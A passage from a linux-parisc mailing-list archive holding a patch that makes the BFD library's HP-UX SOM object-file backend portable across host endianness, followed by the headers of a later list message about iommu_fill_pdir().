 	  /* Setup the subspace name string.  */
@@ -1913,7 +1904,7 @@
 	     header as the key.  Then we can assign correct
 	     subspace indices.  */
 	  total_subspaces++;
-	  subspace_asect->target_index = bfd_tell (abfd) - sizeof (subspace);
+	  subspace_asect->target_index = bfd_tell (abfd) - sizeof (struct subspace_dictionary_record);
 
 	  /* Set SEC_READONLY and SEC_CODE/SEC_DATA as specified
 	     by the access_control_bits in the subspace header.  */
@@ -2069,15 +2060,13 @@
 som_object_p (bfd *abfd)
 {
   struct header file_hdr;
-  struct som_exec_auxhdr *aux_hdr_ptr = NULL;
+  struct internal_som_exec_auxhdr *aux_hdr_ptr = NULL;
   unsigned long current_offset = 0;
   struct lst_header lst_header;
   struct som_entry som_entry;
-  bfd_size_type amt;
 #define ENTRY_SIZE sizeof (struct som_entry)
 
-  amt = FILE_HDR_SIZE;
-  if (bfd_bread ((void *) &file_hdr, amt, abfd) != amt)
+  if (! som_bfd_read_header (abfd, &file_hdr))
     {
       if (bfd_get_error () != bfd_error_system_call)
 	bfd_set_error (bfd_error_wrong_format);
@@ -2118,8 +2107,7 @@
 	  return NULL;
 	}
 
-      amt = SLSTHDR;
-      if (bfd_bread ((void *) &lst_header, amt, abfd) != amt)
+      if (! som_bfd_read_lst_header(abfd, &lst_header))
 	{
 	  if (bfd_get_error () != bfd_error_system_call)
 	    bfd_set_error (bfd_error_wrong_format);
@@ -2135,8 +2123,7 @@
 	  return NULL;
 	}
 
-      amt = ENTRY_SIZE;
-      if (bfd_bread ((void *) &som_entry, amt, abfd) != amt)
+      if (! som_bfd_read_som_entry(abfd, &som_entry))
 	{
 	  if (bfd_get_error () != bfd_error_system_call)
 	    bfd_set_error (bfd_error_wrong_format);
@@ -2155,8 +2142,7 @@
       current_offset = som_entry.location;
 
       /* And finally, re-read the som header.  */
-      amt = FILE_HDR_SIZE;
-      if (bfd_bread ((void *) &file_hdr, amt, abfd) != amt)
+      if (! som_bfd_read_header (abfd, &file_hdr))
 	{
 	  if (bfd_get_error () != bfd_error_system_call)
 	    bfd_set_error (bfd_error_wrong_format);
@@ -2187,8 +2173,7 @@
 				(bfd_size_type) sizeof (*aux_hdr_ptr));
       if (aux_hdr_ptr == NULL)
 	return NULL;
-      amt = AUX_HDR_SIZE;
-      if (bfd_bread ((void *) aux_hdr_ptr, amt, abfd) != amt)
+      if (! som_bfd_read_som_exec_auxhdr (abfd, aux_hdr_ptr))
 	{
 	  if (bfd_get_error () != bfd_error_system_call)
 	    bfd_set_error (bfd_error_wrong_format);
@@ -2239,7 +2224,7 @@
   if (abfd->flags & (EXEC_P | DYNAMIC))
     {
       /* Make and attach an exec header to the BFD.  */
-      amt = sizeof (struct som_exec_auxhdr);
+      amt = sizeof (struct internal_som_exec_auxhdr);
       obj_som_exec_hdr (abfd) = bfd_zalloc (abfd, amt);
       if (obj_som_exec_hdr (abfd) == NULL)
 	return FALSE;
@@ -2281,7 +2266,7 @@
       if (som_is_space (section))
 	{
 	  /* Allocate space for the space dictionary.  */
-	  amt = sizeof (struct space_dictionary_record);
+	  amt = sizeof (struct internal_space_dictionary_record);
 	  som_section_data (section)->space_dict = bfd_zalloc (abfd, amt);
 	  if (som_section_data (section)->space_dict == NULL)
 	    return FALSE;
@@ -2303,7 +2288,7 @@
       else
 	{
 	  /* Allocate space for the subspace dictionary.  */
-	  amt = sizeof (struct som_subspace_dictionary_record);
+	  amt = sizeof (struct internal_subspace_dictionary_record);
 	  som_section_data (section)->subspace_dict = bfd_zalloc (abfd, amt);
 	  if (som_section_data (section)->subspace_dict == NULL)
 	    return FALSE;
@@ -3003,7 +2988,8 @@
 	 current buffer contents now and maybe allocate a larger
 	 buffer.  Each entry will take 4 bytes to hold the string
 	 length + the string itself + null terminator.  */
-      if (p - tmp_space + 5 + length > tmp_space_size)
+      /* Plus another at most 3 bytes for padding */
+      if (p - tmp_space + 5 + length + 3 > tmp_space_size)
 	{
 	  /* Flush buffer before refilling or reallocating.  */
 	  amt = p - tmp_space;
@@ -3021,6 +3007,7 @@
 		 returning from this function.)  The same technique is
 		 used a few more times below when a buffer is
 		 reallocated.  */
+	      /* XXX: Perhaps replace this scheme with bfd_realloc2()? */
 	      tmp_space_size = MAX (2 * tmp_space_size, 5 + length);
 	      tmp_space = alloca (tmp_space_size);
 	    }
@@ -3072,7 +3059,7 @@
 			  asymbol **syms,
 			  unsigned int num_syms,
 			  unsigned int *string_sizep,
-			  COMPUNIT *compilation_unit)
+			  internal_COMPUNIT *compilation_unit)
 {
   unsigned int i;
 
@@ -3114,7 +3101,7 @@
 	  /* If there is not enough room for the next entry, then dump
 	     the current buffer contents now and maybe allocate a
 	     larger buffer.  */
-	  if (p - tmp_space + 5 + length > tmp_space_size)
+	  if (p - tmp_space + 5 + length + 3 > tmp_space_size)
 	    {
 	      /* Flush buffer before refilling or reallocating.  */
 	      amt = p - tmp_space;
@@ -3183,7 +3170,7 @@
 
       /* If there is not enough room for the next entry, then dump the
 	 current buffer contents now and maybe allocate a larger buffer.  */
-     if (p - tmp_space + 5 + length > tmp_space_size)
+     if (p - tmp_space + 5 + length + 3 > tmp_space_size)
 	{
 	  /* Flush buffer before refilling or reallocating.  */
 	  amt = p - tmp_space;
@@ -3247,7 +3234,7 @@
   unsigned long num_spaces, num_subspaces, i;
   asection *section;
   unsigned int total_subspaces = 0;
-  struct som_exec_auxhdr *exec_header = NULL;
+  struct internal_som_exec_auxhdr *exec_header = NULL;
 
   /* The file header will always be first in an object file,
      everything else can be in random locations.  To keep things
@@ -3276,7 +3263,7 @@
       obj_som_file_hdr (abfd)->aux_header_size
 	+= sizeof (struct som_exec_auxhdr);
       exec_header = obj_som_exec_hdr (abfd);
-      exec_header->som_auxhdr.type = EXEC_AUX_ID;
+      exec_header->som_auxhdr.type = HPUX_AUX_ID;
       exec_header->som_auxhdr.length = 40;
     }
   if (obj_som_version_hdr (abfd) != NULL)
@@ -3287,19 +3274,14 @@
 	return FALSE;
 
       /* Write the aux_id structure and the string length.  */
-      len = sizeof (struct aux_id) + sizeof (unsigned int);
-      obj_som_file_hdr (abfd)->aux_header_size += len;
-      current_offset += len;
-      if (bfd_bwrite ((void *) obj_som_version_hdr (abfd), len, abfd) != len)
+      len = som_bfd_write_aux_id_and_string (abfd, 
+	    &obj_som_version_hdr (abfd)->header_id,
+	    obj_som_version_hdr (abfd)->string_length,
+	    obj_som_version_hdr (abfd)->user_string);
+      if (!len)
 	return FALSE;
-
-      /* Write the version string.  */
-      len = obj_som_version_hdr (abfd)->header_id.length - sizeof (int);
-      obj_som_file_hdr (abfd)->aux_header_size += len;
       current_offset += len;
-      if (bfd_bwrite ((void *) obj_som_version_hdr (abfd)->user_string, len, abfd)
-	  != len)
-	return FALSE;
+      obj_som_file_hdr (abfd)->aux_header_size += len;
     }
 
   if (obj_som_copyright_hdr (abfd) != NULL)
@@ -3310,19 +3292,14 @@
 	return FALSE;
 
       /* Write the aux_id structure and the string length.  */
-      len = sizeof (struct aux_id) + sizeof (unsigned int);
-      obj_som_file_hdr (abfd)->aux_header_size += len;
-      current_offset += len;
-      if (bfd_bwrite ((void *) obj_som_copyright_hdr (abfd), len, abfd) != len)
+      len = som_bfd_write_aux_id_and_string (abfd, 
+	    &obj_som_copyright_hdr (abfd)->header_id,
+	    obj_som_copyright_hdr (abfd)->string_length,
+	    obj_som_copyright_hdr (abfd)->copyright);
+      if (!len)
 	return FALSE;
-
-      /* Write the copyright string.  */
-      len = obj_som_copyright_hdr (abfd)->header_id.length - sizeof (int);
-      obj_som_file_hdr (abfd)->aux_header_size += len;
       current_offset += len;
-      if (bfd_bwrite ((void *) obj_som_copyright_hdr (abfd)->copyright, len, abfd)
-	  != len)
-	return FALSE;
+      obj_som_file_hdr (abfd)->aux_header_size += len;
     }
 
   /* Next comes the initialization pointers; we have no initialization
@@ -3355,13 +3332,14 @@
   obj_som_file_hdr (abfd)->subspace_location = current_offset;
   obj_som_file_hdr (abfd)->subspace_total = num_subspaces;
   current_offset
-    += num_subspaces * sizeof (struct som_subspace_dictionary_record);
+    += num_subspaces * sizeof (struct subspace_dictionary_record);
 
   /* Next is the string table for the space/subspace names.  We will
      build and write the string table on the fly.  At the same time
      we will fill in the space/subspace name index fields.  */
 
   /* The string table needs to be aligned on a word boundary.  */
+  /* XXX: Unnecessary? all prior structures written are word aligned */
   if (current_offset % 4)
     current_offset += (4 - (current_offset % 4));
 
@@ -3599,6 +3577,7 @@
   unsigned long current_offset;
   unsigned int strings_size, total_reloc_size;
   bfd_size_type amt;
+  struct header header_target;
 
   /* We must set up the version identifier here as objcopy/strip copy
      private BFD data too late for us to handle this in som_begin_writing.  */
@@ -3729,9 +3708,8 @@
 	  som_section_data (subsection)->subspace_dict->space_index = i;
 
 	  /* Dump the current subspace header.  */
-	  amt = sizeof (struct som_subspace_dictionary_record);
-	  if (bfd_bwrite ((void *) som_section_data (subsection)->subspace_dict,
-			 amt, abfd) != amt)
+	  if (! som_bfd_write_subspace_dictionary_record (abfd, 
+		      som_section_data (subsection)->subspace_dict))
 	    return FALSE;
 	}
       /* Goto the next section.  */
@@ -3785,9 +3763,8 @@
 	  som_section_data (subsection)->subspace_dict->space_index = i;
 
 	  /* Dump this subspace header.  */
-	  amt = sizeof (struct som_subspace_dictionary_record);
-	  if (bfd_bwrite ((void *) som_section_data (subsection)->subspace_dict,
-			 amt, abfd) != amt)
+	  if (! som_bfd_write_subspace_dictionary_record (abfd,
+		    som_section_data (subsection)->subspace_dict))
 	    return FALSE;
 	}
       /* Goto the next section.  */
@@ -3811,9 +3788,8 @@
 	section = section->next;
 
       /* Dump its header.  */
-      amt = sizeof (struct space_dictionary_record);
-      if (bfd_bwrite ((void *) som_section_data (section)->space_dict,
-		     amt, abfd) != amt)
+      if (! som_bfd_write_space_dictionary_record (abfd,
+		som_section_data (section)->space_dict))
 	return FALSE;
 
       /* Goto the next section.  */
@@ -3827,8 +3803,8 @@
       if (bfd_seek (abfd, location, SEEK_SET) != 0)
 	return FALSE;
 
-      amt = COMPUNITSZ;
-      if (bfd_bwrite ((void *) obj_som_compilation_unit (abfd), amt, abfd) != amt)
+      if (! som_bfd_write_compilation_unit (abfd,
+		obj_som_compilation_unit (abfd)))
 	return FALSE;
     }
 
@@ -3843,23 +3819,28 @@
   else
     obj_som_file_hdr (abfd)->system_id = CPU_PA_RISC1_0;
 
+  /* Convert the working header structure into target endianness */
+  obj_som_file_hdr (abfd)->checksum = 0;
+  som_bfd_put_header (abfd, obj_som_file_hdr (abfd), &header_target);
+
   /* Compute the checksum for the file header just before writing
      the header to disk.  */
-  obj_som_file_hdr (abfd)->checksum = som_compute_checksum (abfd);
+  /* XOR checksums will be correct regardless of host endianness */
+  header_target.checksum = xor_checksum (&header_target, sizeof header_target);
 
   /* Only thing left to do is write out the file header.  It is always
      at location zero.  Seek there and write it.  */
   if (bfd_seek (abfd, (file_ptr) 0, SEEK_SET) != 0)
     return FALSE;
   amt = sizeof (struct header);
-  if (bfd_bwrite ((void *) obj_som_file_hdr (abfd), amt, abfd) != amt)
+  if (bfd_bwrite ((void *) &header_target, amt, abfd) != amt)
     return FALSE;
 
   /* Now write the exec header.  */
   if (abfd->flags & (EXEC_P | DYNAMIC))
     {
       long tmp, som_length;
-      struct som_exec_auxhdr *exec_header;
+      struct internal_som_exec_auxhdr *exec_header;
 
       exec_header = obj_som_exec_hdr (abfd);
       exec_header->exec_entry = bfd_get_start_address (abfd);
@@ -3889,29 +3870,12 @@
 		    SEEK_SET) != 0)
 	return FALSE;
 
-      amt = AUX_HDR_SIZE;
-      if (bfd_bwrite ((void *) exec_header, amt, abfd) != amt)
+      if (! som_bfd_write_som_exec_auxhdr (abfd, exec_header))
 	return FALSE;
     }
   return TRUE;
 }
 
-/* Compute and return the checksum for a SOM file header.  */
-
-static unsigned long
-som_compute_checksum (bfd *abfd)
-{
-  unsigned long checksum, count, i;
-  unsigned long *buffer = (unsigned long *) obj_som_file_hdr (abfd);
-
-  checksum = 0;
-  count = sizeof (struct header) / sizeof (unsigned long);
-  for (i = 0; i < count; i++)
-    checksum ^= *(buffer + i);
-
-  return checksum;
-}
-
 static void
 som_bfd_derive_misc_symbol_info (bfd *abfd ATTRIBUTE_UNUSED,
 				 asymbol *sym,
@@ -4076,14 +4040,14 @@
   unsigned int num_syms = bfd_get_symcount (abfd);
   file_ptr symtab_location = obj_som_file_hdr (abfd)->symbol_location;
   asymbol **bfd_syms = obj_som_sorted_syms (abfd);
-  struct symbol_dictionary_record *som_symtab = NULL;
+  struct internal_symbol_dictionary_record *som_symtab = NULL;
   unsigned int i;
   bfd_size_type symtab_size;
 
   /* Compute total symbol table size and allocate a chunk of memory
      to hold the symbol table as we build it.  */
   symtab_size = num_syms;
-  symtab_size *= sizeof (struct symbol_dictionary_record);
+  symtab_size *= sizeof (struct internal_symbol_dictionary_record);
   som_symtab = bfd_zmalloc (symtab_size);
   if (som_symtab == NULL && symtab_size != 0)
     goto error_return;
@@ -4119,8 +4083,11 @@
   if (bfd_seek (abfd, symtab_location, SEEK_SET) != 0)
     return FALSE;
 
-  if (bfd_bwrite ((void *) som_symtab, symtab_size, abfd) != symtab_size)
-    goto error_return;
+  for (i = 0; i < num_syms; i++)
+    {
+      if (! som_bfd_write_symbol_dictionary_record (abfd, &som_symtab[i]))
+        goto error_return;
+    }
 
   if (som_symtab != NULL)
     free (som_symtab);
@@ -4203,7 +4170,8 @@
 /* Convert from a SOM subspace index to a BFD section.  */
 
 static asection *
-bfd_section_from_som_symbol (bfd *abfd, struct symbol_dictionary_record *symbol)
+bfd_section_from_som_symbol (bfd *abfd, 
+    struct internal_symbol_dictionary_record *symbol)
 {
   asection *section;
 
@@ -4242,13 +4210,13 @@
 
 /* Read and save the symbol table associated with the given BFD.  */
 
-static unsigned int
+static bfd_boolean
 som_slurp_symbol_table (bfd *abfd)
 {
   int symbol_count = bfd_get_symcount (abfd);
   int symsize = sizeof (struct symbol_dictionary_record);
   char *stringtab;
-  struct symbol_dictionary_record *buf = NULL, *bufp, *endbufp;
+  struct symbol_dictionary_record *buf = NULL, *ibufp, *endbufp;
   som_symbol_type *sym, *symbase;
   bfd_size_type amt;
 
@@ -4284,8 +4252,13 @@
 
   /* Iterate over all the symbols and internalize them.  */
   endbufp = buf + symbol_count;
-  for (bufp = buf, sym = symbase; bufp < endbufp; ++bufp)
+  for (ibufp = buf, sym = symbase; ibufp < endbufp; ++ibufp)
     {
+      struct internal_symbol_dictionary_record tmp_sdrec, *bufp = &tmp_sdrec;
+
+      /* Convert from target format to an internal format */
+      som_bfd_get_symbol_dictionary_record (abfd, ibufp, bufp);
+	
       /* I don't think we care about these.  */
       if (bufp->symbol_type == ST_SYM_EXT
 	  || bufp->symbol_type == ST_ARG_EXT)
@@ -5076,8 +5049,8 @@
 static bfd_boolean
 som_bfd_print_private_bfd_data (bfd *abfd, void *farg)
 {
-  struct som_exec_auxhdr *exec_header;
-  struct aux_id* auxhdr;
+  struct internal_som_exec_auxhdr *exec_header;
+  struct internal_aux_id* auxhdr;
   FILE *f;
 
   f = (FILE *) farg;
@@ -5204,15 +5177,15 @@
 
       if (len % 4)
 	pad = (4 - (len % 4));
-      amt = sizeof (struct aux_id) + sizeof (unsigned int) + len + pad;
+      amt = sizeof *obj_som_version_hdr (abfd);
       obj_som_version_hdr (abfd) = bfd_zalloc (abfd, amt);
       if (!obj_som_version_hdr (abfd))
 	return FALSE;
       obj_som_version_hdr (abfd)->header_id.type = VERSION_AUX_ID;
       obj_som_version_hdr (abfd)->header_id.length = len + pad;
-      obj_som_version_hdr (abfd)->header_id.length += sizeof (int);
+      obj_som_version_hdr (abfd)->header_id.length += sizeof (uint32_t);
       obj_som_version_hdr (abfd)->string_length = len;
-      strncpy (obj_som_version_hdr (abfd)->user_string, string, len);
+      obj_som_version_hdr (abfd)->user_string = strdup(string);
     }
   else if (type == COPYRIGHT_AUX_ID)
     {
@@ -5221,15 +5194,15 @@
 
       if (len % 4)
 	pad = (4 - (len % 4));
-      amt = sizeof (struct aux_id) + sizeof (unsigned int) + len + pad;
+      amt = sizeof *obj_som_copyright_hdr (abfd);
       obj_som_copyright_hdr (abfd) = bfd_zalloc (abfd, amt);
       if (!obj_som_copyright_hdr (abfd))
 	return FALSE;
       obj_som_copyright_hdr (abfd)->header_id.type = COPYRIGHT_AUX_ID;
       obj_som_copyright_hdr (abfd)->header_id.length = len + pad;
-      obj_som_copyright_hdr (abfd)->header_id.length += sizeof (int);
+      obj_som_copyright_hdr (abfd)->header_id.length += sizeof (uint32_t);
       obj_som_copyright_hdr (abfd)->string_length = len;
-      strcpy (obj_som_copyright_hdr (abfd)->copyright, string);
+      obj_som_copyright_hdr (abfd)->copyright = strdup(string);
     }
   return TRUE;
 }
@@ -5244,7 +5217,8 @@
 				 const char *product_id,
 				 const char *version_id)
 {
-  COMPUNIT *n = (COMPUNIT *) bfd_zalloc (abfd, (bfd_size_type) COMPUNITSZ);
+  internal_COMPUNIT *n = (internal_COMPUNIT *) bfd_zalloc (abfd, 
+    (bfd_size_type) internal_COMPUNITSZ);
 
   if (n == NULL)
     return FALSE;
@@ -5438,12 +5412,12 @@
 			  symindex *count)
 {
   unsigned int i;
-  unsigned int *hash_table = NULL;
+  uint32_t *hash_table = NULL;
   bfd_size_type amt;
   file_ptr lst_filepos = bfd_tell (abfd) - sizeof (struct lst_header);
 
   amt = lst_header->hash_size;
-  amt *= sizeof (unsigned int);
+  amt *= sizeof (uint32_t);
   hash_table = bfd_malloc (amt);
   if (hash_table == NULL && lst_header->hash_size != 0)
     goto error_return;
@@ -5460,19 +5434,20 @@
      chain.  */
   for (i = 0; i < lst_header->hash_size; i++)
     {
-      struct lst_symbol_record lst_symbol;
+      struct internal_lst_symbol_record lst_symbol;
+      uint32_t index;
 
       /* An empty chain has zero as it's file offset.  */
-      if (hash_table[i] == 0)
+      index = H_GET_32 (abfd, &hash_table[i]);
+      if (index == 0)
 	continue;
 
       /* Seek to the first symbol in this hash chain.  */
-      if (bfd_seek (abfd, lst_filepos + hash_table[i], SEEK_SET) != 0)
+      if (bfd_seek (abfd, lst_filepos + index, SEEK_SET) != 0)
 	goto error_return;
 
       /* Read in this symbol and update the counter.  */
-      amt = sizeof (lst_symbol);
-      if (bfd_bread ((void *) &lst_symbol, amt, abfd) != amt)
+      if (! som_bfd_read_lst_symbol_record (abfd, &lst_symbol))
 	goto error_return;
 
       (*count)++;
@@ -5487,8 +5462,7 @@
 	    goto error_return;
 
 	  /* Read the symbol in and update the counter.  */
-	  amt = sizeof (lst_symbol);
-	  if (bfd_bread ((void *) &lst_symbol, amt, abfd) != amt)
+	  if (! som_bfd_read_lst_symbol_record (abfd, &lst_symbol))
 	    goto error_return;
 
 	  (*count)++;
@@ -5514,13 +5488,13 @@
 {
   unsigned int i, len;
   carsym *set = syms[0];
-  unsigned int *hash_table = NULL;
+  uint32_t *hash_table = NULL;
   struct som_entry *som_dict = NULL;
   bfd_size_type amt;
   file_ptr lst_filepos = bfd_tell (abfd) - sizeof (struct lst_header);
 
   amt = lst_header->hash_size;
-  amt *= sizeof (unsigned int);
+  amt *= sizeof (uint32_t);
   hash_table = bfd_malloc (amt);
   if (hash_table == NULL && lst_header->hash_size != 0)
     goto error_return;
@@ -5548,13 +5522,14 @@
   for (i = 0; i < lst_header->hash_size; i++)
     {
       struct lst_symbol_record lst_symbol;
+      uint32_t index = bfd_get_32 (abfd, &hash_table[i]);
 
       /* An empty chain has zero as it's file offset.  */
-      if (hash_table[i] == 0)
+      if (index == 0)
 	continue;
 
       /* Seek to and read the first symbol on the chain.  */
-      if (bfd_seek (abfd, lst_filepos + hash_table[i], SEEK_SET) != 0)
+      if (bfd_seek (abfd, lst_filepos + index, SEEK_SET) != 0)
 	goto error_return;
 
       amt = sizeof (lst_symbol);
@@ -5586,7 +5561,8 @@
 
       /* Fill in the file offset.  Note that the "location" field points
 	 to the SOM itself, not the ar_hdr in front of it.  */
-      set->file_offset = som_dict[lst_symbol.som_index].location
+      set->file_offset = bfd_get_32 (abfd,
+				     &som_dict[lst_symbol.som_index].location)
 			  - sizeof (struct ar_hdr);
 
       /* Go to the next symbol.  */
@@ -5623,7 +5599,8 @@
 
 	  /* Fill in the file offset.  Note that the "location" field points
 	     to the SOM itself, not the ar_hdr in front of it.  */
-	  set->file_offset = som_dict[lst_symbol.som_index].location
+	  set->file_offset = bfd_get_32 (abfd,
+				     &som_dict[lst_symbol.som_index].location)
 			       - sizeof (struct ar_hdr);
 
 	  /* Go on to the next symbol.  */
@@ -5700,8 +5677,7 @@
 
   /* Read in the library symbol table.  We'll make heavy use of this
      in just a minute.  */
-  amt = sizeof (struct lst_header);
-  if (bfd_bread ((void *) &lst_header, amt, abfd) != amt)
+  if (! som_bfd_read_lst_header (abfd, &lst_header))
     return FALSE;
 
   /* Sanity check.  */
@@ -5846,16 +5822,17 @@
 {
   file_ptr lst_filepos;
   char *strings = NULL, *p;
-  struct lst_symbol_record *lst_syms = NULL, *curr_lst_sym;
+  struct internal_lst_symbol_record *lst_syms = NULL, *curr_lst_sym;
   bfd *curr_bfd;
-  unsigned int *hash_table = NULL;
+  uint32_t *hash_table = NULL;
   struct som_entry *som_dict = NULL;
-  struct lst_symbol_record **last_hash_entry = NULL;
+  struct internal_lst_symbol_record **last_hash_entry = NULL;
   unsigned int curr_som_offset, som_index = 0;
   bfd_size_type amt;
+  unsigned int i;
 
   amt = lst.hash_size;
-  amt *= sizeof (unsigned int);
+  amt *= sizeof (uint32_t);
   hash_table = bfd_zmalloc (amt);
   if (hash_table == NULL && lst.hash_size != 0)
     goto error_return;
@@ -5901,7 +5878,7 @@
 
   /* FIXME should be done with buffers just like everything else...  */
   amt = nsyms;
-  amt *= sizeof (struct lst_symbol_record);
+  amt *= sizeof (struct internal_lst_symbol_record);
   lst_syms = bfd_malloc (amt);
   if (lst_syms == NULL && nsyms != 0)
     goto error_return;
@@ -5991,7 +5968,7 @@
 	  /* Insert into the hash table.  */
 	  if (hash_table[curr_lst_sym->symbol_key % lst.hash_size])
 	    {
-	      struct lst_symbol_record *tmp;
+	      struct internal_lst_symbol_record *tmp;
 
 	      /* There is already something at the head of this hash chain,
 		 so tack this symbol onto the end of the chain.  */
@@ -6020,7 +5997,7 @@
 	  p += 4;
 	  strcpy (p, sym->symbol.name);
 	  p += strlen (sym->symbol.name) + 1;
-	  while ((int) p % 4)
+	  while ((p - strings) % 4)
 	    {
 	      bfd_put_8 (abfd, 0, p);
 	      p++;
@@ -6043,19 +6020,24 @@
     }
 
   /* Now scribble out the hash table.  */
+  for (i = 0; i < lst.hash_size; i++)
+    {
+      uint32_t hash = hash_table[i];
+      bfd_put_32 (abfd, hash, &hash_table[i]);
+    }
   amt = lst.hash_size * 4;
   if (bfd_bwrite ((void *) hash_table, amt, abfd) != amt)
     goto error_return;
 
   /* Then the SOM dictionary.  */
-  amt = lst.module_count * sizeof (struct som_entry);
-  if (bfd_bwrite ((void *) som_dict, amt, abfd) != amt)
-    goto error_return;
+  for (i = 0; i < lst.module_count; i++)
+    if (!som_bfd_write_som_entry (abfd, &som_dict[i]))
+      goto error_return;
 
   /* The library symbols.  */
-  amt = nsyms * sizeof (struct lst_symbol_record);
-  if (bfd_bwrite ((void *) lst_syms, amt, abfd) != amt)
-    goto error_return;
+  for (i = 0; i < nsyms; i++)
+    if (!som_bfd_write_lst_symbol_record (abfd, &lst_syms[i]))
+      goto error_return;
 
   /* And finally the strings.  */
   amt = string_size;
@@ -6105,7 +6087,7 @@
   unsigned int i, lst_size, nsyms, stringsize;
   struct ar_hdr hdr;
   struct lst_header lst;
-  int *p;
+  struct lst_header lst_target;
   bfd_size_type amt;
 
   /* We'll use this for the archive's date and mode later.  */
@@ -6179,10 +6161,10 @@
 
   /* Compute the checksum.  Must happen after the entire lst header
      has filled in.  */
-  p = (int *) &lst;
   lst.checksum = 0;
-  for (i = 0; i < sizeof (struct lst_header) / sizeof (int) - 1; i++)
-    lst.checksum ^= *p++;
+  som_bfd_put_lst_header (abfd, &lst, &lst_target);
+  /* Note: XOR checksum is valid regardless of host endianness */
+  lst_target.checksum = xor_checksum (&lst_target, sizeof lst_target);
 
   sprintf (hdr.ar_name, "/               ");
   sprintf (hdr.ar_date, "%ld", bfd_ardata (abfd)->armap_timestamp);
@@ -6205,7 +6187,7 @@
 
   /* Now scribble out the lst header.  */
   amt = sizeof (struct lst_header);
-  if (bfd_bwrite ((void *) &lst, amt, abfd) != amt)
+  if (bfd_bwrite ((void *) &lst_target, amt, abfd) != amt)
     return FALSE;
 
   /* Build and write the armap.  */
@@ -6343,4 +6325,3 @@
   NULL
 };
 
-#endif /* HOST_HPPAHPUX || HOST_HPPABSD || HOST_HPPAOSF */
Index: bfd/som.h
===================================================================
--- bfd/som.h	(revision 6)
+++ bfd/som.h	(working copy)
@@ -4,6 +4,7 @@
 
    Contributed by the Center for Software Science at the
    University of Utah (pa-gdb-bugs@cs.utah.edu).
+   Made portable by David Leonard of Quest Software, Inc.
 
    This file is part of BFD, the Binary File Descriptor library.
 
@@ -27,31 +28,11 @@
 
 #include "libhppa.h"
 
-/* We want reloc.h to provide PA 2.0 defines.  */
 #define PA_2_0
+#include "som/a.out.h"
+#include "som/lst.h"
+#include "aout/ar.h"
 
-#include <a.out.h>
-#include <lst.h>
-#include <ar.h>
-
-/* The SOM BFD backend doesn't currently use anything from these
-   two include files, but it's likely to need them in the future.  */
-#ifdef R_DLT_REL
-#include <shl.h>
-#include <dl.h>
-#endif
-
-#if defined(HOST_HPPABSD) || defined (HOST_HPPAOSF)
-/* BSD uses a completely different scheme for object file identification.
-   so for now, define _PA_RISC_ID to accept any random value for a model
-   number.  */
-#undef _PA_RISC_ID
-#define _PA_RISC_ID(__m_num) 1
-#endif /* HOST_HPPABSD */
-
-#define FILE_HDR_SIZE sizeof (struct header)
-#define AUX_HDR_SIZE sizeof (struct som_exec_auxhdr)
-
 typedef struct som_symbol
 {
   asymbol symbol;
@@ -117,10 +98,10 @@
      generated from scratch.  They need not be copied for objcopy
      or strip to work.  */
   struct header *file_hdr;
-  struct copyright_aux_hdr *copyright_aux_hdr;
-  struct user_string_aux_hdr *version_aux_hdr;
-  struct som_exec_auxhdr *exec_hdr;
-  COMPUNIT *comp_unit;
+  struct internal_copyright_aux_hdr *copyright_aux_hdr;
+  struct internal_user_string_aux_hdr *version_aux_hdr;
+  struct internal_som_exec_auxhdr *exec_hdr;
+  internal_COMPUNIT *comp_unit;
 
   /* Pointers to a saved copy of the symbol and string tables.  These
      need not be copied for objcopy or strip to work.  */
@@ -143,35 +124,6 @@
   struct somdata a;
 };
 
-struct som_subspace_dictionary_record
-{
-  int space_index;
-  unsigned int access_control_bits : 7;
-  unsigned int memory_resident : 1;
-  unsigned int dup_common : 1;
-  unsigned int is_common : 1;
-  unsigned int is_loadable : 1;
-  unsigned int quadrant : 2;
-  unsigned int initially_frozen : 1;
-  unsigned int is_first : 1;
-  unsigned int code_only : 1;
-  unsigned int sort_key : 8;
-  unsigned int replicate_init	: 1;
-  unsigned int continuation : 1;
-  unsigned int is_tspecific : 1;
-  unsigned int is_comdat : 1;
-  unsigned int reserved : 4;
-  int file_loc_init_value;
-  unsigned int initialization_length;
-  unsigned int subspace_start;
-  unsigned int subspace_length;
-  unsigned int reserved2 : 5;   
-  unsigned int alignment :27;
-  union name_pt name;
-  int fixup_request_index;
-  unsigned int fixup_request_quantity;
-};
-
 /* Substructure of som_section_data_struct used to hold information
    which can't be represented by the generic BFD section structure,
    but which must be copied during objcopy or strip.  */
@@ -215,8 +167,8 @@
   struct som_copyable_section_data_struct *copy_data;
   unsigned int reloc_size;
   unsigned char *reloc_stream;
-  struct space_dictionary_record *space_dict;
-  struct som_subspace_dictionary_record *subspace_dict;
+  struct internal_space_dictionary_record *space_dict;
+  struct internal_subspace_dictionary_record *subspace_dict;
 };
 
 #define somdata(bfd)			((bfd)->tdata.som_data->a)

--Boundary-00=_krocHuLsSsQb0xh--

-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: iommu_fill_pdir() and its /* Horrible hack. ... */ reading.
Date: Wed, 26 Dec 2007 17:31:51 +0000
Lines: 123
Approved: news@gmane.org
Message-ID: <47729007.8030807@scarlet.be>
References: <476CFFE3.3040102@scarlet.be> <20071223093903.GA30259@colo.lackof.org> <476EE63A.9080807@scarlet.be> <20071224085159.GC15161@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1198690337 8396 80.91.229.12 (26 Dec 2007 17:32:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Dec 2007 17:32:17 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 26 18:32:29 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J7a7I-0003NU-6q
	for glpp-linux-parisc@gmane.org; Wed, 26 Dec 2007 18:32:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
